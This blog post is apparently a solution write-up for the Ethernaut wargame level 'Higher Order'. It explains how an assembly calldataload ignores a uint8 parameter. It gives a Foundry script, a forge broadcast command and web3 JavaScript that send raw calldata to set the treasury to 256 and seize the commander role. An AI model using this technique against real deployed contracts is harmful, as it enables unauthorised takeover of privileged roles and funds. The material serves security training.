The Ethernaut CTF Solutions | 30 - Higher Order
Clever Command: Bypassing Type Checks in Function Calls to Seize Control
Goals
The Contract
pragma solidity 0.6.12;
contract HigherOrder {
address public commander;
uint256 public treasury;
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}
Yes, that's it!
The hack
I really love those little challenges! It is so simple and the code so short that you know there will be some trick waiting for you along the road. In this case, however, if you have come so far in the Ethernaut challenges already, this shouldn't be a problem for you.
Let's take a closer look at the contract:
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
This little assembly code stores the variable that starts at the 4th byte of the calldata in the storage slot treasury_slot
. Why the 4th byte? Because the first 4 bytes are the function selector for the registerTreasury()
function, and the data, the uint8
in our case, starts right after. The calldataload
function reads the calldata at the specified position and returns it as a 32-byte word.
The claimLeadership()
function is pretty straightforward, once we have set the treasury
variable to a number greater than 255, we will be able to claim the leadership.
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
So the goal is to set the treasury
variable to a number greater than 255. However, you may have notice that the registerTreasury()
only takes a uint8
as an argument, which means that we can only set the treasury
variable to a number between 0 and 255. Hum...
Let's try to play a bit with some simple scripts in forge and see what we can do.
higherOrder.registerTreasury(255);
console2.log("Treasury: ", higherOrder.treasury());
// Treasury: 255
As expected, this works fine. But that doesn't allow us to claim the leadership. Let's try different values:
// Just in case!
higherOrder.registerTreasury(256);
console2.log("Treasury: ", higherOrder.treasury());
// solidity 0.6.12, might be some underflow involved?
higherOrder.registerTreasury(-1);
console2.log("Treasury: ", higherOrder.treasury());
Both of these return some errors because the function is expecting a uint8
. Same if we try to adjust a bit the function definition in the interface:
interface IHigherOrder {
function registerTreasury(uint256) external;
}
The registerTreasury()
keeps type-checking the value we are passing. So what if we try without function definition with a low-level call instead?
address(higherOrder).call(abi.encodeWithSignature("registerTreasury(uint8)", 256));
console2.log("Treasury: ", higherOrder.treasury());
// Treasury: 256
This works like a charm, effectively bypassing any type-check! We have set the treasury
variable to 256 and we can claim the leadership.
Solution
Let's see the complete solution. This level only requires a script, no need to craft any contract.
In Foundry using forge
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
interface IHigherOrder {
function commander() external view returns (address);
function treasury() external view returns (uint256);
function registerTreasury(uint8) external;
function claimLeadership() external;
}
contract PoC is Script {
// Replace with your HigherOrder instance
IHigherOrder private immutable higherOrder =
IHigherOrder(0x2917260322a451BED3074D521B2069fA9f8175ef);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
address(higherOrder).call(
abi.encodeWithSignature("registerTreasury(uint8)", 256)
);
require(higherOrder.treasury() == 256, "Treasury should be 256");
console2.log("Treasury: ", higherOrder.treasury());
higherOrder.claimLeadership();
console2.log("Commander: ", higherOrder.commander());
vm.stopBroadcast();
}
}
And the command to run the script:
forge script script/30_HigherOrder.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
In the browser's console:
This is a (little) bit trickier in JavaScript as we have to prepare the transaction manually. The following would work just fine:
const data =
web3.eth.abi.encodeFunctionSignature("registerTreasury(uint8)") +
web3.utils.leftPad(web3.utils.toHex(256), 64).substring(2);
await sendTransaction({
from: player,
to: instance,
data: data,
});
Then you can claim the leadership:
await contract.claimLeadership();
๐ Level completed ๐
Takeaway
Interfaces provide valuable type-checks when calling functions from other contracts.
Be careful when using low-level calls!
Reference
- Low-level calls in-depth: https://ethereum-blockchain-developer.com/2022-04-smart-wallet/07-low-level-calls-in-depth/
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/